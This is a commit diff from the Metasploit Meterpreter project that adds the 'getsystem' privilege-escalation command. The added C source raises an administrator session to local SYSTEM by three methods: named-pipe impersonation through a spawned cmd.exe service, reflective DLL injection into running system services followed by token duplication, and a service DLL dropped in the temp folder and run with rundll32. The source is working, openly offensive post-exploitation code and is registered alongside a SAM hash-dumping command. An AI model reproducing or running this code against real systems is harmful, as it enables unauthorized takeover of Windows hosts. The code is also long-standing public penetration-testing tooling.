Add in the new getsystem command to the priv extension.

git-svn-id: file:///home/svn/framework3/trunk@8293 4d416f70-5f16-0410-b530-b9f4589650da
unstable
Stephen Fewer 2010-01-28 13:40:55 +00:00
parent f82b6c5952
commit e58847009c
7 changed files with 779 additions and 0 deletions

View File

@ -43,4 +43,9 @@
TLV_TYPE_EXTENSION_PRIV, \
TLV_EXTENSIONS + 111)
#define TLV_TYPE_ELEVATE_TECHNIQUE MAKE_CUSTOM_TLV( TLV_META_TYPE_UINT, TLV_TYPE_EXTENSION_PRIV, TLV_EXTENSIONS + 200 )
#define TLV_TYPE_ELEVATE_SERVICE_NAME MAKE_CUSTOM_TLV( TLV_META_TYPE_STRING, TLV_TYPE_EXTENSION_PRIV, TLV_EXTENSIONS + 201 )
#define TLV_TYPE_ELEVATE_SERVICE_DLL MAKE_CUSTOM_TLV( TLV_META_TYPE_STRING, TLV_TYPE_EXTENSION_PRIV, TLV_EXTENSIONS + 202 )
#define TLV_TYPE_ELEVATE_SERVICE_LENGTH MAKE_CUSTOM_TLV( TLV_META_TYPE_UINT, TLV_TYPE_EXTENSION_PRIV, TLV_EXTENSIONS + 203 )
#endif

View File

@ -0,0 +1,577 @@
#include "precomp.h"
#include "elevate.h"
#include "service.h"
#include "../../../../ReflectiveDLLInjection/LoadLibraryR.h"
#define ELEVATE_TECHNIQUE_NONE -1
#define ELEVATE_TECHNIQUE_ANY 0
#define ELEVATE_TECHNIQUE_SERVICE_NAMEDPIPE 1
#define ELEVATE_TECHNIQUE_SERVICE_NAMEDPIPE2 2
#define ELEVATE_TECHNIQUE_SERVICE_TOKENDUP 3
#define ELEVATE_TECHNIQUE_VULN_KITRAP0D 4
// Simple macros to close a handle and set the handle to NULL.
#define CLOSE_SERVICE_HANDLE( h ) if( h ) { CloseServiceHandle( h ); h = NULL; }
#define CLOSE_HANDLE( h ) if( h ) { CloseHandle( h ); h = NULL; }
/*
* Enable or disable a privilege in our processes current token.
*/
BOOL elevate_priv( char * cpPrivilege, BOOL bEnable )
{
DWORD dwResult = ERROR_SUCCESS;
HANDLE hToken = NULL;
TOKEN_PRIVILEGES priv = {0};
do
{
if( !cpPrivilege )
BREAK_WITH_ERROR( "[ELEVATE] elevate_priv. invalid arguments", ERROR_BAD_ARGUMENTS );
if( !OpenProcessToken( GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken ) )
BREAK_ON_ERROR( "[ELEVATE] elevate_priv. OpenProcessToken failed" );
priv.PrivilegeCount = 1;
if( bEnable )
priv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
else
priv.Privileges[0].Attributes = SE_PRIVILEGE_REMOVED;
if( !LookupPrivilegeValue( NULL, cpPrivilege, &priv.Privileges[0].Luid ) )
BREAK_ON_ERROR( "[ELEVATE] elevate_priv. LookupPrivilegeValue failed" );
if( !AdjustTokenPrivileges( hToken, FALSE, &priv, 0, NULL, NULL ) )
BREAK_ON_ERROR( "[ELEVATE] elevate_priv. AdjustTokenPrivileges failed" );
} while( 0 );
CLOSE_HANDLE( hToken );
SetLastError( dwResult );
if( dwResult == ERROR_SUCCESS )
return TRUE;
return FALSE;
}
/*
* Elevate from local admin to local system via code injection in a system service.
* Does not work on NT4 (needed api's missing) Works on 2000, XP, 2003. On Vista, 2008 or 7 we cant open
* service process from a non elevated admin.
*
* A current limitation in LoadRemoteLibraryR prevents this from working across
* architectures so we just filter out running this from an x64 process for now.
*/
DWORD elevate_via_service_tokendup( Remote * remote, Packet * packet )
{
DWORD dwResult = ERROR_SUCCESS;
HANDLE hToken = NULL;
HANDLE hTokenDup = NULL;
HANDLE hProcess = NULL;
HANDLE hThread = NULL;
HANDLE hManager = NULL;
HANDLE hService = NULL;
LPVOID lpServiceBuffer = NULL;
LPVOID lpRemoteCommandLine = NULL;
ENUM_SERVICE_STATUS * lpServices = NULL;
char * cpServiceName = NULL;
SERVICE_STATUS_PROCESS status = {0};
char cCommandLine[128] = {0};
OSVERSIONINFO os = {0};
DWORD dwServiceLength = 0;
DWORD dwBytes = 0;
DWORD index = 0;
DWORD dwServicesReturned = 0;
DWORD dwExitCode = 0;
#ifdef _WIN64
DWORD dwMeterpreterArch = 2;
#else
DWORD dwMeterpreterArch = 1;
#endif
do
{
os.dwOSVersionInfoSize = sizeof( OSVERSIONINFO );
if( !GetVersionEx( &os ) )
BREAK_ON_ERROR( "[ELEVATE] elevate_via_service_debug: GetVersionEx failed" )
// filter out Windows NT4 or running this from native x64
if ( ( os.dwMajorVersion == 4 && os.dwMinorVersion == 0 ) || dwMeterpreterArch == 2 )
{
SetLastError( ERROR_ACCESS_DENIED );
BREAK_ON_ERROR( "[ELEVATE] elevate_via_service_debug: Not yet supported on this platform." )
}
cpServiceName = packet_get_tlv_value_string( packet, TLV_TYPE_ELEVATE_SERVICE_NAME );
dwServiceLength = packet_get_tlv_value_uint( packet, TLV_TYPE_ELEVATE_SERVICE_LENGTH );
lpServiceBuffer = packet_get_tlv_value_string( packet, TLV_TYPE_ELEVATE_SERVICE_DLL );
if( !dwServiceLength || !lpServiceBuffer )
BREAK_WITH_ERROR( "[ELEVATE] elevate_via_service_debug. invalid arguments", ERROR_BAD_ARGUMENTS );
if( !elevate_priv( SE_DEBUG_NAME, TRUE ) )
BREAK_ON_ERROR( "[ELEVATE] elevate_via_service_debug. elevate_priv SE_DEBUG_NAME failed" );
hManager = OpenSCManagerA( NULL, NULL, SC_MANAGER_ENUMERATE_SERVICE );
if( !hManager )
BREAK_ON_ERROR( "[ELEVATE] elevate_via_service_debug. OpenSCManagerA failed" );
if( !EnumServicesStatus( hManager, SERVICE_WIN32, SERVICE_ACTIVE, NULL, 0, &dwBytes, &dwServicesReturned, NULL ) )
{
if( GetLastError() != ERROR_MORE_DATA )
BREAK_ON_ERROR( "[ELEVATE] elevate_via_service_debug. EnumServicesStatus 1 failed" );
}
lpServices = (ENUM_SERVICE_STATUS *)malloc( dwBytes );
if( !lpServices )
BREAK_ON_ERROR( "[ELEVATE] elevate_via_service_debug. malloc lpServices failed" );
if( !EnumServicesStatus( hManager, SERVICE_WIN32, SERVICE_ACTIVE, lpServices, dwBytes, &dwBytes, &dwServicesReturned, NULL ) )
BREAK_ON_ERROR( "[ELEVATE] elevate_via_service_debug. EnumServicesStatus 2 failed" );
dwResult = ERROR_ACCESS_DENIED;
// we enumerate all services, injecting our elevator.dll (via RDI), if the injected thread returns successfully
// it means we have been given a system token so we duplicate it as a primary token for use by metsrv.
for( index=0 ; index<dwServicesReturned ; index++ )
{
do
{
hService = OpenServiceA( hManager, lpServices[index].lpServiceName, SERVICE_QUERY_STATUS );
if( !hService )
break;
if( !QueryServiceStatusEx( hService, SC_STATUS_PROCESS_INFO, (LPBYTE)&status, sizeof(SERVICE_STATUS_PROCESS), &dwBytes ) )
break;
if( status.dwCurrentState != SERVICE_RUNNING )
break;
// open a handle to this service (assumes we have SeDebugPrivilege)...
hProcess = OpenProcess( PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, FALSE, status.dwProcessId );
if( !hProcess )
break;
dprintf( "[ELEVATE] elevate_via_service_debug. trying [%d] lpDisplayName=%s, lpServiceName=%s, dwProcessId=%d", index, lpServices[index].lpDisplayName, lpServices[index].lpServiceName, status.dwProcessId );
_snprintf( cCommandLine, sizeof(cCommandLine), "/t:%d\x00", GetCurrentThreadId() );
// alloc some space and write the commandline which we will pass to the injected dll...
lpRemoteCommandLine = VirtualAllocEx( hProcess, NULL, strlen(cCommandLine)+1, MEM_RESERVE|MEM_COMMIT, PAGE_READWRITE );
if( !lpRemoteCommandLine )
break;
if( !WriteProcessMemory( hProcess, lpRemoteCommandLine, cCommandLine, strlen(cCommandLine)+1, NULL ) )
break;
// use RDI to inject the elevator.dll into the remote process, passing in the command line to elevator.dll
hThread = LoadRemoteLibraryR( hProcess, lpServiceBuffer, dwServiceLength, lpRemoteCommandLine );
if( !hThread )
break;
// we will only wait 30 seconds for the elevator.dll to do its job, if this times out we assume it failed.
if( WaitForSingleObject( hThread, 30000 ) != WAIT_OBJECT_0 )
break;
// get the exit code for our injected elevator.dll
if( !GetExitCodeThread( hThread, &dwExitCode ) )
break;
// if the exit code was successfull we have been given a local system token, so we duplicate it
// as a primary token for use by metsrv
if( dwExitCode == ERROR_SUCCESS )
{
if( OpenThreadToken( GetCurrentThread(), TOKEN_ALL_ACCESS, FALSE, &hToken ) )
{
if( DuplicateTokenEx( hToken, MAXIMUM_ALLOWED, NULL, SecurityImpersonation, TokenPrimary, &hTokenDup ) )
{
core_update_thread_token( remote, hTokenDup );
dwResult = ERROR_SUCCESS;
break;
}
}
}
} while( 0 );
CLOSE_SERVICE_HANDLE( hService );
CLOSE_HANDLE( hProcess );
CLOSE_HANDLE( hThread );
CLOSE_HANDLE( hToken );
if( dwResult == ERROR_SUCCESS )
break;
}
} while( 0 );
CLOSE_SERVICE_HANDLE( hManager );
if( lpServices )
free( lpServices );
SetLastError( dwResult );
return dwResult;
}
/*
* Worker thread for named pipe impersonation. Creates a named pipe and impersonates
* the first client which connects to it.
*/
DWORD THREADCALL elevate_namedpipe_thread( THREAD * thread )
{
DWORD dwResult = ERROR_ACCESS_DENIED;
HANDLE hServerPipe = NULL;
HANDLE hToken = NULL;
char * cpServicePipe = NULL;
Remote * remote = NULL;
BYTE bMessage[128] = {0};
DWORD dwBytes = 0;
do
{
if( !thread )
BREAK_WITH_ERROR( "[ELEVATE] elevate_namedpipe_thread. invalid thread", ERROR_BAD_ARGUMENTS );
cpServicePipe = (char *)thread->parameter1;
remote = (Remote *)thread->parameter2;
if( !cpServicePipe || !remote )
BREAK_WITH_ERROR( "[ELEVATE] elevate_namedpipe_thread. invalid thread arguments", ERROR_BAD_ARGUMENTS );
dprintf("[ELEVATE] pipethread. CreateNamedPipe(%s)",cpServicePipe);
// create the named pipe for the client service to connect to
hServerPipe = CreateNamedPipe( cpServicePipe, PIPE_ACCESS_DUPLEX, PIPE_TYPE_MESSAGE|PIPE_WAIT, 2, 0, 0, 0, NULL );
if( !hServerPipe )
BREAK_ON_ERROR( "[ELEVATE] elevate_namedpipe_thread. CreateNamedPipe failed" );
while( TRUE )
{
if( event_poll( thread->sigterm, 0 ) )
BREAK_WITH_ERROR( "[ELEVATE] elevate_namedpipe_thread. thread->sigterm received", ERROR_DBG_TERMINATE_THREAD );
// wait for a client to connect to our named pipe...
if( !ConnectNamedPipe( hServerPipe, NULL ) )
{
if( GetLastError() != ERROR_PIPE_CONNECTED )
continue;
}
dprintf("[ELEVATE] pipethread. got client conn.");
// we can't impersonate a client untill we have performed a read on the pipe...
if( !ReadFile( hServerPipe, &bMessage, 1, &dwBytes, NULL ) )
CONTINUE_ON_ERROR( "[ELEVATE] pipethread. ReadFile failed" );
// impersonate the client!
if( !ImpersonateNamedPipeClient( hServerPipe ) )
CONTINUE_ON_ERROR( "[ELEVATE] elevate_namedpipe_thread. ImpersonateNamedPipeClient failed" );
//WriteFile( hServerPipe, &bMessage, 1, &dwBytes, NULL );
// get a handle to this threads token
if( !OpenThreadToken( GetCurrentThread(), TOKEN_ALL_ACCESS, FALSE, &hToken ) )
CONTINUE_ON_ERROR( "[ELEVATE] elevate_namedpipe_thread. OpenThreadToken failed" );
// now we can set the meterpreters thread token to that of our system
// token so all subsequent meterpreter threads will use this token.
core_update_thread_token( remote, hToken );
dwResult = ERROR_SUCCESS;
break;
}
} while( 0 );
if( hServerPipe )
{
DisconnectNamedPipe( hServerPipe );
CLOSE_HANDLE( hServerPipe );
}
dprintf( "[ELEVATE] elevate_namedpipe_thread finishing, dwResult=%d", dwResult );
return dwResult;
}
/*
* Elevate from local admin to local system via Named Pipe Impersonation. We spawn a cmd.exe under local
* system which then connects to our named pipe and we impersonate this client. This can be done by an
* Administrator without the need for SeDebugPrivilege. Works on 2000, XP, 2003 and 2008 for all local
* administrators. On Vista and 7 it will only work if the host process has been elevated through UAC
* first. Does not work on NT4.
*/
DWORD elevate_via_service_namedpipe( Remote * remote, Packet * packet )
{
DWORD dwResult = ERROR_SUCCESS;
char * cpServiceName = NULL;
THREAD * pThread = NULL;
char cServiceArgs[MAX_PATH] = {0};
char cServicePipe[MAX_PATH] = {0};
OSVERSIONINFO os = {0};
do
{
os.dwOSVersionInfoSize = sizeof( OSVERSIONINFO );
if( !GetVersionEx( &os ) )
BREAK_ON_ERROR( "[ELEVATE] elevate_via_service_namedpipe: GetVersionEx failed" )
// filter out Windows NT4
if ( os.dwMajorVersion == 4 && os.dwMinorVersion == 0 )
{
SetLastError( ERROR_ACCESS_DENIED );
BREAK_ON_ERROR( "[ELEVATE] elevate_via_service_namedpipe: Windows NT4 not supported." )
}
cpServiceName = packet_get_tlv_value_string( packet, TLV_TYPE_ELEVATE_SERVICE_NAME );
if( !cpServiceName )
BREAK_WITH_ERROR( "[ELEVATE] elevate_via_service_namedpipe. invalid arguments", ERROR_BAD_ARGUMENTS );
_snprintf( cServicePipe, MAX_PATH, "\\\\.\\pipe\\%s", cpServiceName );
_snprintf( cServiceArgs, MAX_PATH, "cmd.exe /c echo %s > %s", cpServiceName, cServicePipe );
pThread = thread_create( elevate_namedpipe_thread, &cServicePipe, remote );
if( !pThread )
BREAK_WITH_ERROR( "[ELEVATE] elevate_via_service_namedpipe. thread_create failed", ERROR_INVALID_HANDLE );
if( !thread_run( pThread ) )
BREAK_WITH_ERROR( "[ELEVATE] elevate_via_service_namedpipe. thread_run failed", ERROR_ACCESS_DENIED );
Sleep( 500 ); // to-do: use signals to synchronize when the named pipe server is ready...
// start the elevator service (if it doesnt start first time we need to create it and then start it).
if( service_start( cpServiceName ) != ERROR_SUCCESS )
{
if( service_create( cpServiceName, cServiceArgs ) != ERROR_SUCCESS )
BREAK_ON_ERROR( "[ELEVATE] elevate_via_service_namedpipe. service_create failed" );
// we dont check a return value for service_start as we expect it to fail as cmd.exe is not
// a valid service and it will never signal to the service manager that is is a running service.
service_start( cpServiceName );
}
// signal our thread to terminate if it is still running
thread_sigterm( pThread );
// and wait for it to terminate...
thread_join( pThread );
// get the exit code for our pthread
if( !GetExitCodeThread( pThread->handle, &dwResult ) )
BREAK_WITH_ERROR( "[ELEVATE] elevate_via_service_namedpipe. GetExitCodeThread failed", ERROR_INVALID_HANDLE );
} while( 0 );
if( cpServiceName )
{
service_stop( cpServiceName );
service_destroy( cpServiceName );
}
if( pThread )
thread_destroy( pThread );
return dwResult;
}
/*
* Elevate from local admin to local system via Named Pipe Impersonation. We spawn a service under local
* system which then connects to our named pipe and we impersonate this client. This can be done by an
* Administrator without the need for SeDebugPrivilege, however a dll (elevator.dll) must be written to
* disk. Works on NT4, 2000, XP, 2003 and 2008 for all local administrators. On Vista and 7 it will only
* work if the host process has been elevated through UAC first.
*/
DWORD elevate_via_service_namedpipe2( Remote * remote, Packet * packet )
{
DWORD dwResult = ERROR_SUCCESS;
THREAD * pThread = NULL;
HANDLE hServiceFile = NULL;
LPVOID lpServiceBuffer = NULL;
char * cpServiceName = NULL;
THREAD * pthread = NULL;
char cServicePath[MAX_PATH] = {0};
char cServiceArgs[MAX_PATH] = {0};
char cServicePipe[MAX_PATH] = {0};
char cTempPath[MAX_PATH] = {0};
DWORD dwBytes = 0;
DWORD dwTotal = 0;
DWORD dwServiceLength = 0;
do
{
cpServiceName = packet_get_tlv_value_string( packet, TLV_TYPE_ELEVATE_SERVICE_NAME );
dwServiceLength = packet_get_tlv_value_uint( packet, TLV_TYPE_ELEVATE_SERVICE_LENGTH );
lpServiceBuffer = packet_get_tlv_value_string( packet, TLV_TYPE_ELEVATE_SERVICE_DLL );
if( !cpServiceName || !dwServiceLength || !lpServiceBuffer )
BREAK_WITH_ERROR( "[ELEVATE] elevate_via_service_namedpipe2. invalid arguments", ERROR_BAD_ARGUMENTS );
if( GetTempPath( MAX_PATH, (LPSTR)&cTempPath ) == 0 )
BREAK_ON_ERROR( "[ELEVATE] elevate_via_service_namedpipe2. GetTempPath failed" );
if( cTempPath[ strlen(cTempPath) - 1 ] == '\\' )
_snprintf( cServicePath, MAX_PATH, "%s%s.dll", cTempPath, cpServiceName );
else
_snprintf( cServicePath, MAX_PATH, "%s\\%s.dll", cTempPath, cpServiceName );
_snprintf( cServiceArgs, MAX_PATH, "rundll32.exe %s,a /p:%s", cServicePath, cpServiceName );
_snprintf( cServicePipe, MAX_PATH, "\\\\.\\pipe\\%s", cpServiceName );
// write service dll to temp path...
hServiceFile = CreateFile( cServicePath, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL );
if( !hServiceFile )
BREAK_ON_ERROR( "[ELEVATE] elevate_via_service_namedpipe2. CreateFile hServiceFile failed" );
while( dwTotal < dwServiceLength )
{
if( !WriteFile( hServiceFile, (LPCVOID)((LPBYTE)lpServiceBuffer + dwTotal), (dwServiceLength - dwTotal), &dwBytes, NULL ) )
break;
dwTotal += dwBytes;
}
CLOSE_HANDLE( hServiceFile );
if( dwTotal != dwServiceLength )
BREAK_WITH_ERROR( "[ELEVATE] elevate_via_service_namedpipe2. WriteFile hServiceFile failed", ERROR_BAD_LENGTH );
pThread = thread_create( elevate_namedpipe_thread, &cServicePipe, remote );
if( !pThread )
BREAK_WITH_ERROR( "[ELEVATE] elevate_via_service_namedpipe2. thread_create failed", ERROR_INVALID_HANDLE );
if( !thread_run( pThread ) )
BREAK_WITH_ERROR( "[ELEVATE] elevate_via_service_namedpipe2. thread_create failed", ERROR_ACCESS_DENIED );
Sleep( 500 );
// start the elevator service (if it doesnt start first time we need to create it and then start it).
if( service_start( cpServiceName ) != ERROR_SUCCESS )
{
if( service_create( cpServiceName, cServiceArgs ) != ERROR_SUCCESS )
BREAK_ON_ERROR( "[ELEVATE] elevate_via_service_namedpipe2. service_create failed" );
if( service_start( cpServiceName ) != ERROR_SUCCESS )
BREAK_ON_ERROR( "[ELEVATE] elevate_via_service_namedpipe2. service_start failed" );
}
WaitForSingleObject( pThread->handle, 10000 );
thread_sigterm( pThread );
thread_join( pThread );
// get the exit code for our pthread
if( !GetExitCodeThread( pThread->handle, &dwResult ) )
BREAK_WITH_ERROR( "[ELEVATE] elevate_via_service_namedpipe2. GetExitCodeThread failed", ERROR_INVALID_HANDLE );
} while( 0 );
if( cpServiceName )
{
service_stop( cpServiceName );
service_destroy( cpServiceName );
}
if( strlen( cServicePath ) > 0 )
{
DWORD dwIndex = 20;
while( dwIndex-- )
{
if( DeleteFile( cServicePath ) )
break;
Sleep( 500 );
}
}
if( pThread )
thread_destroy( pThread );
return dwResult;
}
/*
* Attempt to elevate the current meterpreter to local system using a variety of techniques.
*/
DWORD elevate_getsystem( Remote * remote, Packet * packet )
{
DWORD dwResult = ERROR_SUCCESS;
DWORD dwTechnique = ELEVATE_TECHNIQUE_ANY;
Packet * response = NULL;
do
{
response = packet_create_response( packet );
if( !response )
BREAK_WITH_ERROR( "[ELEVATE] get_system. packet_create_response failed", ERROR_INVALID_HANDLE );
dwTechnique = packet_get_tlv_value_uint( packet, TLV_TYPE_ELEVATE_TECHNIQUE );
// if we are to to use ELEVATE_TECHNIQUE_ANY, we try everything at our disposal...
if( dwTechnique == ELEVATE_TECHNIQUE_ANY )
{
do
{
// firstly, try to use the in-memory named pipe impersonation technique
dwTechnique = ELEVATE_TECHNIQUE_SERVICE_NAMEDPIPE;
dwResult = elevate_via_service_namedpipe( remote, packet );
if( dwResult == ERROR_SUCCESS )
break;
// secondly, try to use the in-memory service token duplication technique (requires SeDebugPrivilege)
dwTechnique = ELEVATE_TECHNIQUE_SERVICE_TOKENDUP;
dwResult = elevate_via_service_tokendup( remote, packet );
if( dwResult == ERROR_SUCCESS )
break;
// thirdly, try to use the touching disk named pipe impersonation technique
dwTechnique = ELEVATE_TECHNIQUE_SERVICE_NAMEDPIPE2;
dwResult = elevate_via_service_namedpipe2( remote, packet );
if( dwResult == ERROR_SUCCESS )
break;
} while( 0 );
}
else
{
// if we are to only use a specific technique, try the specified one and return the success...
switch( dwTechnique )
{
case ELEVATE_TECHNIQUE_SERVICE_NAMEDPIPE:
dwResult = elevate_via_service_namedpipe( remote, packet );
break;
case ELEVATE_TECHNIQUE_SERVICE_NAMEDPIPE2:
dwResult = elevate_via_service_namedpipe2( remote, packet );
break;
case ELEVATE_TECHNIQUE_SERVICE_TOKENDUP:
dwResult = elevate_via_service_tokendup( remote, packet );
break;
default:
dwResult = ERROR_CALL_NOT_IMPLEMENTED;
break;
}
}
} while( 0 );
if( response )
{
if( dwResult == ERROR_SUCCESS )
packet_add_tlv_uint( response, TLV_TYPE_ELEVATE_TECHNIQUE, dwTechnique );
else
packet_add_tlv_uint( response, TLV_TYPE_ELEVATE_TECHNIQUE, ELEVATE_TECHNIQUE_NONE );
packet_transmit_response( dwResult, remote, response );
}
return dwResult;
}

View File

@ -0,0 +1,6 @@
#ifndef _METERPRETER_SOURCE_EXTENSION_PRIV_PRIV_SERVER_ELEVATE_ELEVATE_H
#define _METERPRETER_SOURCE_EXTENSION_PRIV_PRIV_SERVER_ELEVATE_ELEVATE_H
DWORD elevate_getsystem( Remote * remote, Packet * packet );
#endif

View File

@ -0,0 +1,171 @@
#include "precomp.h"
#include "service.h"
/*
* Start a service which has allready been created.
*/
DWORD service_start( char * cpName )
{
DWORD dwResult = ERROR_SUCCESS;
HANDLE hManager = NULL;
HANDLE hService = NULL;
do
{
if( !cpName )
BREAK_WITH_ERROR( "[SERVICE] service_start. cpName is NULL", ERROR_INVALID_HANDLE );
hManager = OpenSCManagerA( NULL, NULL, SC_MANAGER_ALL_ACCESS );
if( !hManager )
BREAK_ON_ERROR( "[SERVICE] service_start. OpenSCManagerA failed" );
hService = OpenServiceA( hManager, cpName, SERVICE_START );
if( !hService )
BREAK_ON_ERROR( "[SERVICE] service_start. OpenServiceA failed" );
if( !StartService( hService, 0, NULL ) )
BREAK_ON_ERROR( "[SERVICE] service_start. StartService failed" );
} while( 0 );
if( hService )
CloseServiceHandle( hService );
if( hManager )
CloseServiceHandle( hManager );
SetLastError( dwResult );
return dwResult;
}
/*
* Stop a service.
*/
DWORD service_stop( char * cpName )
{
DWORD dwResult = ERROR_SUCCESS;
HANDLE hManager = NULL;
HANDLE hService = NULL;
SERVICE_STATUS_PROCESS status = {0};
DWORD dwBytes = 0;
DWORD dwStartTime = 0;
DWORD dwTimeout = 30000; // 30 seconds
do
{
if( !cpName )
BREAK_WITH_ERROR( "[SERVICE] service_stop. cpName is NULL", ERROR_INVALID_HANDLE );
hManager = OpenSCManagerA( NULL, NULL, SC_MANAGER_ALL_ACCESS );
if( !hManager )
BREAK_ON_ERROR( "[SERVICE] service_stop. OpenSCManagerA failed" );
hService = OpenServiceA( hManager, cpName, SERVICE_STOP | SERVICE_QUERY_STATUS );
if( !hService )
BREAK_ON_ERROR( "[SERVICE] service_stop. OpenServiceA failed" );
if( !ControlService( hService, SERVICE_CONTROL_STOP, (SERVICE_STATUS *)&status ) )
BREAK_ON_ERROR( "[SERVICE] service_stop. ControlService STOP failed" );
dwStartTime = GetTickCount();
while( TRUE )
{
if( !QueryServiceStatusEx( hService, SC_STATUS_PROCESS_INFO, (LPBYTE)&status, sizeof(SERVICE_STATUS_PROCESS), &dwBytes ) )
BREAK_ON_ERROR( "[SERVICE] service_stop. QueryServiceStatusEx failed" );
if( status.dwCurrentState == SERVICE_STOPPED )
break;
if( ( GetTickCount() - dwStartTime ) > dwTimeout )
BREAK_WITH_ERROR( "[SERVICE] service_stop. Timeout reached", WAIT_TIMEOUT );
Sleep( status.dwWaitHint );
}
} while( 0 );
if( hService )
CloseServiceHandle( hService );
if( hManager )
CloseServiceHandle( hManager );
SetLastError( dwResult );
return dwResult;
}
/*
* Create a new service.
*/
DWORD service_create( char * cpName, char * cpPath )
{
DWORD dwResult = ERROR_SUCCESS;
HANDLE hManager = NULL;
HANDLE hService = NULL;
do
{
if( !cpName || !cpPath )
BREAK_WITH_ERROR( "[SERVICE] service_create. cpName/cpPath is NULL", ERROR_INVALID_HANDLE );
hManager = OpenSCManagerA( NULL, NULL, SC_MANAGER_ALL_ACCESS );
if( !hManager )
BREAK_ON_ERROR( "[SERVICE] service_create. OpenSCManagerA failed" );
hService = CreateServiceA( hManager, cpName, NULL, SERVICE_ALL_ACCESS, SERVICE_WIN32_OWN_PROCESS, SERVICE_DEMAND_START, SERVICE_ERROR_IGNORE, cpPath, NULL, NULL, NULL, NULL, NULL );
if( !hService )
BREAK_ON_ERROR( "[SERVICE] service_create. CreateServiceA failed" );
} while( 0 );
if( hService )
CloseServiceHandle( hService );
if( hManager )
CloseServiceHandle( hManager );
SetLastError( dwResult );
return dwResult;
}
/*
* Destroy an existing service.
*/
DWORD service_destroy( char * cpName )
{
DWORD dwResult = ERROR_SUCCESS;
HANDLE hManager = NULL;
HANDLE hService = NULL;
do
{
if( !cpName )
BREAK_WITH_ERROR( "[SERVICE] service_destroy. cpName is NULL", ERROR_INVALID_HANDLE );
hManager = OpenSCManagerA( NULL, NULL, SC_MANAGER_ALL_ACCESS );
if( !hManager )
BREAK_ON_ERROR( "[SERVICE] service_destroy. OpenSCManagerA failed" );
hService = OpenServiceA( hManager, cpName, DELETE );
if( !hService )
BREAK_ON_ERROR( "[SERVICE] service_stop. OpenServiceA failed" );
if( !DeleteService( hService ) )
BREAK_ON_ERROR( "[SERVICE] service_destroy. DeleteService failed" );
} while( 0 );
if( hService )
CloseServiceHandle( hService );
if( hManager )
CloseServiceHandle( hManager );
SetLastError( dwResult );
return dwResult;
}

View File

@ -0,0 +1,12 @@
#ifndef _METERPRETER_SOURCE_EXTENSION_PRIV_PRIV_SERVER_ELEVATE_SERVICE_H
#define _METERPRETER_SOURCE_EXTENSION_PRIV_PRIV_SERVER_ELEVATE_SERVICE_H
DWORD service_start( char * cpName );
DWORD service_stop( char * cpName );
DWORD service_create( char * cpName, char * cpPath );
DWORD service_destroy( char * cpName );
#endif

View File

@ -3,6 +3,7 @@
#define _WIN32_WINNT 0x0400
#include "../priv.h"
#include "./elevate/elevate.h"
#include "passwd.h"
#include "fs.h"

View File

@ -16,6 +16,13 @@ EnableDelayLoadMetSrv();
//#include "../../../ReflectiveDLLInjection/ReflectiveLoader.c"
Command customCommands[] =
{
// Elevate
{ "priv_elevate_getsystem",
{ elevate_getsystem, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
// Priv
{ "priv_passwd_get_sam_hashes",
{ request_passwd_get_sam_hashes, { 0 }, 0 },